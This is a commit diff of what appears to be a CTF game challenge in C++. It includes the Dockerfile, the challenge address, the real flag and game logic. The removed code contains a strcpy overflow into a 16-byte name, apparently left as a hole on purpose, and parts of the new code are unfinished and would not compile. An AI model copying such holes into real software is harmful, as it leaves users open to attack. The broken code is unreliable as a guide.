Browse Source

[NEW] checkpoint

master
myitinos 6 months ago
parent
commit
312627a008
21 changed files with 589 additions and 179 deletions
  1. 53
    0
      .vscode/settings.json
  2. 1
    2
      Dockerfile
  3. 6
    1
      README.md
  4. 10
    0
      docker-compose.yml
  5. 1
    1
      flag.txt
  6. 9
    0
      ground0.cpp
  7. 69
    57
      lib/Character.cpp
  8. 23
    17
      lib/Character.hpp
  9. 60
    0
      lib/Element.cpp
  10. 30
    0
      lib/Element.hpp
  11. 101
    0
      lib/Game.cpp
  12. 22
    0
      lib/Game.hpp
  13. 20
    20
      lib/Spell.cpp
  14. 13
    8
      lib/Spell.hpp
  15. 24
    39
      lib/UserInterface.cpp
  16. 4
    11
      lib/UserInterface.hpp
  17. 7
    23
      main.cpp
  18. 106
    0
      main0.cpp
  19. 18
    0
      poc.py
  20. BIN
      test
  21. 12
    0
      test.cpp

+ 53
- 0
.vscode/settings.json View File

@@ -0,0 +1,53 @@
1
+{
2
+    "files.associations": {
3
+        "chrono": "cpp",
4
+        "array": "cpp",
5
+        "atomic": "cpp",
6
+        "*.tcc": "cpp",
7
+        "cctype": "cpp",
8
+        "clocale": "cpp",
9
+        "cmath": "cpp",
10
+        "cstdarg": "cpp",
11
+        "cstddef": "cpp",
12
+        "cstdint": "cpp",
13
+        "cstdio": "cpp",
14
+        "cstdlib": "cpp",
15
+        "cstring": "cpp",
16
+        "ctime": "cpp",
17
+        "cwchar": "cpp",
18
+        "cwctype": "cpp",
19
+        "deque": "cpp",
20
+        "unordered_map": "cpp",
21
+        "vector": "cpp",
22
+        "exception": "cpp",
23
+        "algorithm": "cpp",
24
+        "functional": "cpp",
25
+        "iterator": "cpp",
26
+        "map": "cpp",
27
+        "memory": "cpp",
28
+        "memory_resource": "cpp",
29
+        "numeric": "cpp",
30
+        "optional": "cpp",
31
+        "random": "cpp",
32
+        "ratio": "cpp",
33
+        "string": "cpp",
34
+        "string_view": "cpp",
35
+        "system_error": "cpp",
36
+        "tuple": "cpp",
37
+        "type_traits": "cpp",
38
+        "utility": "cpp",
39
+        "fstream": "cpp",
40
+        "initializer_list": "cpp",
41
+        "iosfwd": "cpp",
42
+        "iostream": "cpp",
43
+        "istream": "cpp",
44
+        "limits": "cpp",
45
+        "new": "cpp",
46
+        "ostream": "cpp",
47
+        "sstream": "cpp",
48
+        "stdexcept": "cpp",
49
+        "streambuf": "cpp",
50
+        "thread": "cpp",
51
+        "typeinfo": "cpp"
52
+    }
53
+}

+ 1
- 2
Dockerfile View File

@@ -8,6 +8,5 @@ WORKDIR /app
8 8
 COPY ./flag.txt .
9 9
 COPY ./spell-warz-again .
10 10
 
11
-CMD socat tcp-listen:12345,reuseaddr,fork EXEC:\"./spell-warz-again\"
12
-
13 11
 EXPOSE 12345/tcp
12
+CMD socat tcp-listen:12345,reuseaddr,fork EXEC:./spell-warz-again

+ 6
- 1
README.md View File

@@ -1,2 +1,7 @@
1
-# spell-warz-again-and-again
1
+# spell-warz-again
2 2
 
3
+Hello guys, there's an update to my last game<br>
4
+Now you can choose your own name! Cool isn't it :)<br>
5
+Also, I made the new Arch-Mage a little weak<br>
6
+please defeat him again!<br>
7
+`nc 103.200.7.150 30311`

+ 10
- 0
docker-compose.yml View File

@@ -0,0 +1,10 @@
1
+version: "2"
2
+
3
+services:
4
+  main:
5
+    build: .
6
+    container_name: "spell-warz-again"
7
+    network_mode: "bridge"
8
+    restart: on-failure
9
+    ports:
10
+      - "30311:12345"

+ 1
- 1
flag.txt View File

@@ -1 +1 @@
1
-slashroot{dummy}
1
+SlashRootCTF{h1dd3n_Sp3l1_f0r_a_h1dd3n_fl4g}

+ 9
- 0
ground0.cpp View File

@@ -0,0 +1,9 @@
1
+#include "lib/Spell.hpp"
2
+
3
+int main(int argc, char const *argv[])
4
+{
5
+    int i = 3;
6
+    Spell spell = Spell("?", Element("Void"), Spell::NULL_TYPE, 0, 0);
7
+    spell.getElement().getName()
8
+    return 0;
9
+}

+ 69
- 57
lib/Character.cpp View File

@@ -1,61 +1,51 @@
1 1
 #include "Character.hpp"
2
-#include <cstring>
2
+
3 3
 const int Character::maxLevel = 0xffff;
4 4
 const int Character::maxExperience = 0x0fffffff;
5
-Character::Character()
5
+Character::Character(std::string characterName,
6
+                     Element *characterAffinity)
6 7
 {
8
+    this->name = characterName;
9
+    this->affinity = characterAffinity;
7 10
     this->level = 1;
8 11
     this->experience = 0;
9
-    this->maxHP = 10;
10
-    this->curHP = maxHP;
11
-    this->maxMP = 5;
12
-    this->curMP = maxMP;
13
-    this->atk = 1;
14
-    this->def = 1;
15
-    memset(this->name, 0, 16);
16
-}
17
-
18
-Character::Character(char *n) : Character::Character()
19
-{
20
-    strcpy(this->name, n);
21
-    this->name[15] = 0;
22
-}
23
-
24
-Character::Character(const char *n) : Character::Character()
25
-{
26
-    strcpy(this->name, n);
27
-    this->name[15] = 0;
12
+    this->maxHP = 100;
13
+    this->maxMP = 50;
14
+    this->curHP = this->maxHP;
15
+    this->curMP = this->maxMP;
28 16
 }
29 17
 
30
-Character::Character(char *n, int l, int e, int h, int m, int a, int d)
18
+Character::Character(std::string characterName,
19
+                     Element *characterAffinity,
20
+                     int characterLevel)
31 21
 {
32
-    strcpy(this->name, n);
33
-    this->name[15] = 0;
34
-    this->level = l;
35
-    this->experience = e;
36
-    this->maxHP = h;
37
-    this->curHP = maxHP;
38
-    this->maxMP = m;
39
-    this->curMP = maxMP;
40
-    this->atk = a;
41
-    this->def = d;
22
+    this->name = characterName;
23
+    this->affinity = characterAffinity;
24
+    this->level = characterLevel;
25
+    this->experience = characterLevel;
26
+    this->maxHP = characterLevel * 10;
27
+    this->curHP = this->maxHP;
28
+    this->maxMP = characterLevel * 5;
29
+    this->curMP = this->maxMP;
42 30
 }
43 31
 
44
-Character::Character(const char *n, int l, int e, int h, int m, int a, int d)
32
+Character::Character(std::string characterName,
33
+                     Element *characterAffinity,
34
+                     int characterLevel,
35
+                     int characterHP,
36
+                     int characterMP)
45 37
 {
46
-    strcpy(this->name, n);
47
-    this->name[15] = 0;
48
-    this->level = l;
49
-    this->experience = e;
50
-    this->maxHP = h;
51
-    this->curHP = maxHP;
52
-    this->maxMP = m;
53
-    this->curMP = maxMP;
54
-    this->atk = a;
55
-    this->def = d;
38
+    this->name = characterName;
39
+    this->affinity = characterAffinity;
40
+    this->level = characterLevel;
41
+    this->experience = characterLevel;
42
+    this->maxHP = characterHP;
43
+    this->curHP = this->maxHP;
44
+    this->maxMP = characterMP;
45
+    this->curMP = this->maxMP;
56 46
 }
57 47
 
58
-char *Character::getName()
48
+std::string Character::getName()
59 49
 {
60 50
     return this->name;
61 51
 }
@@ -106,16 +96,6 @@ int Character::getCurMP()
106 96
     return this->curMP;
107 97
 }
108 98
 
109
-int Character::getAtk()
110
-{
111
-    return this->atk;
112
-}
113
-
114
-int Character::getDef()
115
-{
116
-    return this->def;
117
-}
118
-
119 99
 void Character::levelUp()
120 100
 {
121 101
     if ((this->level <= maxLevel) && this->readytoLevelUp())
@@ -190,10 +170,37 @@ bool Character::canCastSpell(Spell *s)
190 170
     return this->curMP >= s->getCost();
191 171
 }
192 172
 
193
-void Character::castSpell(Spell *s, Character *t)
173
+bool Character::castSpell(Spell *s, Character *t)
194 174
 {
195
-    this->reduceMP(s->getCost());
196
-    t->reduceHP(s->getAmount());
175
+    if (this->canCastSpell(s))
176
+    {
177
+        this->reduceMP(s->getCost());
178
+        int pwr = s->getPower();
179
+        int spellCompatibility = s->getElement()->compatibilityAgainst(t->getAffinity());
180
+
181
+        if (spellCompatibility == Element::WEAK_COMPATIBILITY)
182
+        {
183
+            pwr /= 2;
184
+        }
185
+        else if (spellCompatibility == Element::STRONG_COMPATIBILITY)
186
+        {
187
+            pwr *= 2;
188
+        }
189
+
190
+        if (s->getType() == Spell::TYPE_DESTRUCTION)
191
+        {
192
+            t->reduceHP(pwr);
193
+        }
194
+        else if (s->getType() == Spell::TYPE_RESTORATION)
195
+        {
196
+            t->restoreHP(pwr);
197
+        }
198
+        return true;
199
+    }
200
+    else
201
+    {
202
+        return false;
203
+    }
197 204
 }
198 205
 
199 206
 void Character::rest()
@@ -213,4 +220,9 @@ void Character::revive()
213 220
     {
214 221
         this->curHP = 1;
215 222
     }
223
+}
224
+
225
+Element *Character::getAffinity()
226
+{
227
+    return this->affinity;
216 228
 }

+ 23
- 17
lib/Character.hpp View File

@@ -1,25 +1,25 @@
1 1
 #ifndef SPELL_WARZ_CHARACTER_HPP
2 2
 #define SPELL_WARZ_CHARACTER_HPP 1
3 3
 
4
-#include <vector>
4
+#include <string>
5 5
 
6 6
 #include "Spell.hpp"
7
+#include "Element.hpp"
7 8
 
8 9
 class Character
9 10
 {
10 11
 protected:
11 12
     static const int maxLevel;
12 13
     static const int maxExperience;
13
-    char name[16];
14 14
 
15
-    int experience;
15
+    std::string name;
16
+    Element *affinity;
16 17
     int level;
17
-    int atk;
18
-    int def;
19
-    int curHP;
20
-    int curMP;
18
+    int experience;
21 19
     int maxHP;
22 20
     int maxMP;
21
+    int curHP;
22
+    int curMP;
23 23
 
24 24
     void restoreHP(int);
25 25
     void restoreMP(int);
@@ -27,24 +27,30 @@ protected:
27 27
     void reduceMP(int);
28 28
 
29 29
 public:
30
-    Character();
31
-    Character(char *name);
32
-    Character(const char *name);
33
-    Character(char *name, int level, int exp, int hp, int mp, int atk, int def);
34
-    Character(const char *name, int level, int exp, int hp, int mp, int atk, int def);
30
+    Character(std::string characterName,
31
+              Element *characterAffinity);
32
+
33
+    Character(std::string characterName,
34
+              Element *characterAffinity,
35
+              int characterLevel);
36
+
37
+    Character(std::string characterName,
38
+              Element *characterAffinity,
39
+              int characterLevel,
40
+              int characterHP,
41
+              int characterMP);
35 42
 
36
-    void castSpell(Spell *src, Character *dst);
43
+    bool castSpell(Spell *src, Character *dst);
37 44
     bool canCastSpell(Spell *src);
38 45
 
39
-    char *getName();
46
+    std::string getName();
47
+    Element *getAffinity();
40 48
     int getLevel();
41 49
     int getExperience();
42 50
     int getMaxHP();
43
-    int getCurHP();
44 51
     int getMaxMP();
52
+    int getCurHP();
45 53
     int getCurMP();
46
-    int getAtk();
47
-    int getDef();
48 54
     int toNextLevel();
49 55
 
50 56
     bool readytoLevelUp();

+ 60
- 0
lib/Element.cpp View File

@@ -0,0 +1,60 @@
1
+#include "Element.hpp"
2
+
3
+int Element::WEAK_COMPATIBILITY = -1;
4
+int Element::NEUTRAL_COMPATIBILITY = 0;
5
+int Element::STRONG_COMPATIBILITY = 1;
6
+
7
+Element::Element(std::string elementName,
8
+                 Element *elementWeakAgainst,
9
+                 Element *elementStrongAgainst)
10
+    : name(elementName),
11
+      weakAgainst(elementWeakAgainst),
12
+      strongAgainst(elementStrongAgainst)
13
+{
14
+}
15
+
16
+std::string Element::getName()
17
+{
18
+    return this->name;
19
+}
20
+
21
+void Element::setStrongAgainst(Element *element)
22
+{
23
+    this->strongAgainst = element;
24
+}
25
+
26
+void Element::setWeakAgainst(Element *element)
27
+{
28
+    this->weakAgainst = element;
29
+}
30
+
31
+bool Element::isStrongAgainst(Element *element)
32
+{
33
+    return this->strongAgainst == element;
34
+}
35
+
36
+bool Element::isWeakAgainst(Element *element)
37
+{
38
+    return this->weakAgainst == element;
39
+}
40
+
41
+int Element::compatibilityAgainst(Element *element)
42
+{
43
+    if (this->isStrongAgainst(element))
44
+    {
45
+        return Element::STRONG_COMPATIBILITY;
46
+    }
47
+    else if (this->isWeakAgainst(element))
48
+    {
49
+        return Element::WEAK_COMPATIBILITY;
50
+    }
51
+    else
52
+    {
53
+        return Element::NEUTRAL_COMPATIBILITY;
54
+    }
55
+}
56
+
57
+bool Element::operator<(Element &element)
58
+{
59
+    return this->name < element.name;
60
+}

+ 30
- 0
lib/Element.hpp View File

@@ -0,0 +1,30 @@
1
+#ifndef SPELL_WARZ_ELEMENT_HPP
2
+#define SPELL_WARZ_ELEMENT_HPP 1
3
+
4
+#include <string>
5
+
6
+class Element
7
+{
8
+protected:
9
+    std::string name;
10
+    Element *strongAgainst;
11
+    Element *weakAgainst;
12
+
13
+public:
14
+    static int WEAK_COMPATIBILITY;
15
+    static int NEUTRAL_COMPATIBILITY;
16
+    static int STRONG_COMPATIBILITY;
17
+
18
+    Element(std::string elementName,
19
+            Element *elementWeakAgainst = nullptr,
20
+            Element *elementStrongAgainst = nullptr);
21
+    std::string getName();
22
+    void setStrongAgainst(Element *element);
23
+    void setWeakAgainst(Element *element);
24
+    bool isStrongAgainst(Element *element);
25
+    bool isWeakAgainst(Element *element);
26
+    int compatibilityAgainst(Element *element);
27
+    bool operator<(Element &rhs);
28
+};
29
+
30
+#endif

+ 101
- 0
lib/Game.cpp View File

@@ -0,0 +1,101 @@
1
+#include "Game.hpp"
2
+
3
+std::map<std::string, Element> Game::Elements;
4
+std::map<Element, std::vector<Spell>> Game::SpellBook;
5
+std::vector<Character> Game::PlayerParty;
6
+
7
+bool Game::isPartyAlive(std::vector<Character> &party)
8
+{
9
+    std::vector<Character>::iterator it;
10
+    for (it = party.begin(); it != party.end(); ++it)
11
+    {
12
+        if (it->isAlive())
13
+        {
14
+            return true;
15
+        }
16
+    }
17
+    return false;
18
+}
19
+
20
+void Game::init()
21
+{
22
+    /* initialise elements */
23
+    Game::Elements["Fire"] = Element("Fire");
24
+    Game::Elements["Water"] = Element("Water");
25
+    Game::Elements["Wind"] = Element("Wind");
26
+    Game::Elements["Earth"] = Element("Earth");
27
+    Game::Elements["Holy"] = Element("Holy");
28
+    Game::Elements["Dark"] = Element("Dark");
29
+    Game::Elements["Void"] = Element("Void");
30
+    Game::Elements["Fire"].setStrongAgainst(&Game::Elements["Earth"]);
31
+    Game::Elements["Fire"].setWeakAgainst(&Game::Elements["Water"]);
32
+    Game::Elements["Water"].setStrongAgainst(&Game::Elements["Fire"]);
33
+    Game::Elements["Water"].setWeakAgainst(&Game::Elements["Wind"]);
34
+    Game::Elements["Wind"].setStrongAgainst(&Game::Elements["Water"]);
35
+    Game::Elements["Wind"].setWeakAgainst(&Game::Elements["Earth"]);
36
+    Game::Elements["Earth"].setStrongAgainst(&Game::Elements["Wind"]);
37
+    Game::Elements["Earth"].setWeakAgainst(&Game::Elements["Fire"]);
38
+    Game::Elements["Holy"].setStrongAgainst(&Game::Elements["Dark"]);
39
+    Game::Elements["Holy"].setWeakAgainst(&Game::Elements["Dark"]);
40
+    Game::Elements["Dark"].setStrongAgainst(&Game::Elements["Holy"]);
41
+    Game::Elements["Dark"].setWeakAgainst(&Game::Elements["Holy"]);
42
+
43
+    /* initialise spell book */
44
+    SpellBook[Game::Elements["Fire"]] = {
45
+        Spell("Fire Bolt", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 10, 5),
46
+        Spell("Warm Touch", &Game::Elements["Fire"], Spell::TYPE_RESTORATION, 10, 10),
47
+        Spell("Flame Javelin", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 25, 15),
48
+        Spell("Flaming Rocket", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 50, 20),
49
+        Spell("Sun's Strike", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 100, 25),
50
+        Spell("Big Bang", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 200, 30)};
51
+    SpellBook[Game::Elements["Water"]] = {
52
+        Spell("Water Splash", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 10, 5),
53
+        Spell("Healing Water", &Game::Elements["Water"], Spell::TYPE_RESTORATION, 10, 10),
54
+        Spell("Jet Stream", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 25, 15),
55
+        Spell("Rain of Healing", &Game::Elements["Water"], Spell::TYPE_RESTORATION, 25, 20),
56
+        Spell("Whirlpool", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 50, 25),
57
+        Spell("Tsunami", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 100, 30),
58
+    };
59
+    SpellBook[Game::Elements["Wind"]] = {
60
+        Spell("Breath of Wind", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 10, 5),
61
+        Spell("Wind of Restoration", &Game::Elements["Wind"], Spell::TYPE_RESTORATION, 10, 10),
62
+        Spell("Air Needle", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 25, 15),
63
+        Spell("Tornado", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 50, 20),
64
+        Spell("Twin Tornado", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 100, 25),
65
+        Spell("Triple Tornado", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 200, 30),
66
+    };
67
+    SpellBook[Game::Elements["Earth"]] = {
68
+        Spell("Rock Throw", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 10, 5),
69
+        Spell("Earth Sheet", &Game::Elements["Earth"], Spell::TYPE_RESTORATION, 10, 10),
70
+        Spell("Earth Split", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 25, 15),
71
+        Spell("Crushed Earth", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 50, 20),
72
+        Spell("Wall of Eden", &Game::Elements["Earth"], Spell::TYPE_RESTORATION, 50, 25),
73
+        Spell("Earthquake", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 100, 30),
74
+    };
75
+    SpellBook[Game::Elements["Holy"]] = {
76
+        Spell("Holy Light", &Game::Elements["Holy"], Spell::TYPE_DESTRUCTION, 10, 5),
77
+        Spell("Healing Light", &Game::Elements["Holy"], Spell::TYPE_RESTORATION, 25, 10),
78
+        Spell("Light of Judgment", &Game::Elements["Holy"], Spell::TYPE_DESTRUCTION, 50, 15),
79
+        Spell("Flame of Purgatory", &Game::Elements["Holy"], Spell::TYPE_DESTRUCTION, 100, 20),
80
+        Spell("God's Protection", &Game::Elements["Holy"], Spell::TYPE_RESTORATION, 1000000000, 25),
81
+    };
82
+    SpellBook[Game::Elements["Dark"]] = {
83
+        Spell("Dark Touch", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 10, 5),
84
+        Spell("Hell's Touch", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 25, 10),
85
+        Spell("Hell's Inferno", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 50, 15),
86
+        Spell("Eclipse", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 100, 20),
87
+        Spell("Hell on Earth", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 200, 25),
88
+    };
89
+    SpellBook[Game::Elements["Void"]] = {
90
+        Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1, 1),
91
+        Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 10, 1),
92
+        Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 100, 1),
93
+        Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1000, 1),
94
+        Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 10000, 1),
95
+        Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 100000, 1),
96
+        Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1000000, 1),
97
+        Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 10000000, 1),
98
+        Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 100000000, 1),
99
+        Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1000000000, 1),
100
+    };
101
+}

+ 22
- 0
lib/Game.hpp View File

@@ -0,0 +1,22 @@
1
+#ifndef SPELL_WARZ_GAME_HPP
2
+#define SPELL_WARZ_GAME_HPP 1
3
+
4
+#include <map>
5
+#include <vector>
6
+
7
+#include "Element.hpp"
8
+#include "Spell.hpp"
9
+#include "Character.hpp"
10
+
11
+namespace Game
12
+{
13
+extern std::map<std::string, Element> Elements;
14
+extern std::map<Element, std::vector<Spell>> SpellBook;
15
+extern std::vector<Character> PlayerParty;
16
+
17
+void init();
18
+bool isPartyAlive(std::vector<Character *> &party);
19
+
20
+} // namespace Game
21
+
22
+#endif

+ 20
- 20
lib/Spell.cpp View File

@@ -1,11 +1,19 @@
1 1
 #include "Spell.hpp"
2 2
 
3
-Spell::Spell(std::string n, int t, int a, int c)
3
+int Spell::TYPE_RESTORATION = 1;
4
+int Spell::TYPE_DESTRUCTION = 2;
5
+
6
+Spell::Spell(std::string spellName,
7
+             Element *spellElement,
8
+             int spellType,
9
+             int spellPower,
10
+             int spellCost)
4 11
 {
5
-    this->name = std::string(n);
6
-    this->type = t;
7
-    this->amount = a;
8
-    this->cost = c;
12
+    this->name = spellName;
13
+    this->element = spellElement;
14
+    this->type = spellType;
15
+    this->power = spellPower;
16
+    this->cost = spellCost;
9 17
 }
10 18
 
11 19
 int Spell::getType()
@@ -13,9 +21,9 @@ int Spell::getType()
13 21
     return this->type;
14 22
 }
15 23
 
16
-int Spell::getAmount()
24
+int Spell::getPower()
17 25
 {
18
-    return this->amount;
26
+    return this->power;
19 27
 }
20 28
 
21 29
 int Spell::getCost()
@@ -23,20 +31,12 @@ int Spell::getCost()
23 31
     return this->cost;
24 32
 }
25 33
 
34
+Element *Spell::getElement()
35
+{
36
+    return this->element;
37
+}
38
+
26 39
 std::string Spell::getName()
27 40
 {
28 41
     return this->name;
29 42
 }
30
-
31
-std::vector<Spell> Spell::Book = {
32
-    Spell("Napalm Beat", 1, 4, 1),
33
-    Spell("Fire Ball", 1, 6, 2),
34
-    Spell("Cold Bolt", 1, 8, 3),
35
-    Spell("Stone curse", 1, 10, 4),
36
-    Spell("Lightning Bolt", 1, 12, 5),
37
-    Spell("Soul Strike", 1, 14, 6),
38
-    Spell("Fire Wall", 1, 16, 7),
39
-    Spell("Frost Diver", 1, 18, 8),
40
-    Spell("Lighting Storm", 1, 20, 9),
41
-    Spell("Asura's Strike", 1, 50, 10),
42
-};

+ 13
- 8
lib/Spell.hpp View File

@@ -1,27 +1,32 @@
1 1
 #ifndef SPELL_WARZ_SPELL_CPP
2 2
 #define SPELL_WARZ_SPELL_CPP 1
3 3
 
4
-#include <vector>
5 4
 #include <string>
6 5
 
6
+#include "Element.hpp"
7
+
7 8
 class Spell
8 9
 {
9 10
 protected:
10 11
     std::string name;
11
-
12
+    Element *element;
12 13
     int type;
13
-    int amount;
14
+    int power;
14 15
     int cost;
15 16
 
16 17
 public:
17
-    int TYPE_RESTORATION = 0;
18
-    int TYPE_DESTRUCTION = 1;
19
-    static std::vector<Spell> Book;
18
+    static int TYPE_RESTORATION;
19
+    static int TYPE_DESTRUCTION;
20 20
 
21
-    Spell(std::string, int, int, int);
21
+    Spell(std::string spellName,
22
+          Element *spellElement,
23
+          int spellType,
24
+          int spellPower,
25
+          int spellCost);
22 26
     int getType();
23
-    int getAmount();
27
+    int getPower();
24 28
     int getCost();
29
+    Element *getElement();
25 30
     std::string getName();
26 31
 };
27 32
 

+ 24
- 39
lib/UserInterface.cpp View File

@@ -1,7 +1,6 @@
1 1
 #include "UserInterface.hpp"
2
+#include "Game.hpp"
2 3
 
3
-const int UserInterface::interval = 500;     // in ms
4
-const int UserInterface::miniInterval = 50; // in ms
5 4
 const int UserInterface::maxDay = 28;
6 5
 const int UserInterface::maxMonth = 12;
7 6
 const int UserInterface::maxYear = 100;
@@ -10,8 +9,6 @@ int UserInterface::day = 1;
10 9
 int UserInterface::month = 1;
11 10
 int UserInterface::year = 90;
12 11
 
13
-bool UserInterface::gameOver = false;
14
-
15 12
 std::vector<std::string> UserInterface::dayName = {
16 13
     "Morndas",
17 14
     "Tirdas",
@@ -37,30 +34,24 @@ std::vector<std::string> UserInterface::monthName = {
37 34
     "Evening Star",
38 35
 };
39 36
 
40
-void UserInterface::print(std::string msg)
37
+void UserInterface::print(std::string msg, int interval)
41 38
 {
42 39
     std::cout << msg << std::flush;
43
-    std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval));
40
+    std::this_thread::sleep_for(std::chrono::milliseconds(interval));
44 41
 }
45 42
 
46
-void UserInterface::print(char *msg)
47
-{
48
-    std::cout << msg << std::flush;
49
-    std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval));
50
-}
51
-void UserInterface::print(const char *msg)
43
+void UserInterface::println(std::string msg, int interval)
52 44
 {
53
-    std::cout << msg << std::flush;
54
-    std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval));
45
+    std::cout << msg << std::endl;
46
+    std::this_thread::sleep_for(std::chrono::milliseconds(interval));
55 47
 }
56 48
 
57
-void UserInterface::printByChar(const char *msg)
49
+void UserInterface::printByChar(std::string msg, int interval)
58 50
 {
59
-    int len = strlen(msg);
60
-    for (size_t i = 0; i < len; i++)
51
+    for (size_t i = 0; i < msg.size(); i++)
61 52
     {
62
-        std::cout << msg[i] << std::flush;
63
-        std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::miniInterval));
53
+        std::cout << msg.at(i) << std::flush;
54
+        std::this_thread::sleep_for(std::chrono::milliseconds(interval));
64 55
     }
65 56
 }
66 57
 
@@ -74,22 +65,21 @@ void UserInterface::welcomeMessage()
74 65
 
75 66
 Character *UserInterface::characterCreation()
76 67
 {
77
-    char buffer[128] = {0};
78
-    char choice = 0;
79
-    int i;
80
-    short b;
81
-    while (choice != 'y' && choice != 'Y')
68
+    std::string buffer;
69
+    std::cout << "Who should we call you?\n"
70
+              << ">" << std::flush;
71
+    std::cin >> buffer;
72
+    std::cout << "Now pick your elements: \n";
73
+    std::map<std::string, Element>::iterator it;
74
+    int i = 0;
75
+    int max = Game::Elements.size() - 2;
76
+    for (it = Game::Elements.begin(); i < max; ++it)
82 77
     {
83
-        std::cout << "Who should we call you?\n"
84
-                  << ">" << std::flush;
85
-
86
-        std::cin >> buffer;
87
-
88
-        std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n"
89
-                  << ">";
90
-        std::cin >> choice;
78
+        std::cout << "[" << i++ << "] " << it->second.getName() << '\n';
91 79
     }
92
-    return new Character(buffer);
80
+    int element = UserInterface::getNumber("#", 0, max);
81
+
82
+    return new Character(buffer, Game::Elements.begin() + element);
93 83
 }
94 84
 
95 85
 void UserInterface::epilogue()
@@ -202,17 +192,12 @@ void UserInterface::nextDay()
202 192
             month = 1;
203 193
             if (UserInterface::year++ >= UserInterface::maxYear)
204 194
             {
205
-                UserInterface::gameOver = true;
195
+                exit(0);
206 196
             }
207 197
         }
208 198
     }
209 199
 }
210 200
 
211
-bool UserInterface::isGameOver()
212
-{
213
-    return gameOver;
214
-}
215
-
216 201
 void UserInterface::characterInfo(Character *c)
217 202
 {
218 203
     std::cout << "++++++++++++++++++++++++"

+ 4
- 11
lib/UserInterface.hpp View File

@@ -5,7 +5,7 @@
5 5
 #include <thread>
6 6
 #include <chrono>
7 7
 #include <string>
8
-#include <cstring>
8
+#include <vector>
9 9
 
10 10
 #include "Character.hpp"
11 11
 #include "Spell.hpp"
@@ -13,8 +13,6 @@
13 13
 class UserInterface
14 14
 {
15 15
 protected:
16
-    static const int interval;     // in ms
17
-    static const int miniInterval; // in ms
18 16
     static const int maxDay;
19 17
     static const int maxMonth;
20 18
     static const int maxYear;
@@ -26,15 +24,10 @@ protected:
26 24
     static int month;
27 25
     static int year;
28 26
 
29
-    static bool gameOver;
30
-
31 27
 public:
32
-    static void print(std::string);
33
-    static void print(const char *);
34
-    static void print(char *);
35
-    static void printByChar(std::string);
36
-    static void printByChar(const char *);
37
-    static void printByChar(char *);
28
+    static void print(std::string msg, int interval = 500);
29
+    static void println(std::string msg, int interval = 500);
30
+    static void printByChar(std::string msg, int interval = 50);
38 31
 
39 32
     static void welcomeMessage();
40 33
     static void epilogue();

+ 7
- 23
main.cpp View File

@@ -1,16 +1,14 @@
1 1
 
2
-#include <iostream>
3
-#include <fstream>
4
-#include <thread>
5
-#include <chrono>
6
-#include <random>
7 2
 #include <fstream>
3
+#include <map>
8 4
 #include <unistd.h>
9 5
 
10 6
 #include "lib/Character.hpp"
11 7
 #include "lib/Spell.hpp"
8
+#include "lib/Element.hpp"
12 9
 #include "lib/UserInterface.hpp"
13 10
 #include "lib/BattleInterface.hpp"
11
+#include "lib/Game.hpp"
14 12
 
15 13
 std::string loadFlag()
16 14
 {
@@ -23,28 +21,14 @@ std::string loadFlag()
23 21
 
24 22
 int main()
25 23
 {
26
-    std::string flag;
27
-    Character *player;
28
-    Character *archMage;
29
-    Character *enemy;
30
-    BattleInterface battle;
31
-    std::vector<Character *> enemies;
32
-
33
-    flag = loadFlag();
34
-    srand(time(0));
35 24
     alarm(600);
25
+    srand(time(0));
26
+    std::string flag = loadFlag();
27
+    Game::init();
36 28
 
37 29
     UserInterface::welcomeMessage();
38 30
     UserInterface::epilogue();
39
-    player = UserInterface::characterCreation();
40
-    archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1);
41
-    enemies = {
42
-        new Character("Abby", 1, 1, 10, 5, 1, 1),
43
-        new Character("John", 2, 3, 20, 10, 1, 1),
44
-        new Character("Adam", 3, 7, 40, 25, 1, 1),
45
-        new Character("Christo", 4, 11, 80, 40, 1, 1),
46
-        new Character("Greg", 5, 16, 160, 80, 1, 1),
47
-    };
31
+    Game::PlayerParty.push_back(UserInterface::characterCreation());
48 32
 
49 33
     while (player->isAlive() && !UserInterface::isGameOver())
50 34
     {

+ 106
- 0
main0.cpp View File

@@ -0,0 +1,106 @@
1
+#include <map>
2
+#include <vector>
3
+#include <fstream>
4
+
5
+#include "lib/Character.hpp"
6
+#include "lib/Spell.hpp"
7
+#include "lib/Element.hpp"
8
+#include "lib/BattleInterface.hpp"
9
+#include "lib/UserInterface.hpp"
10
+
11
+std::string loadFlag()
12
+{
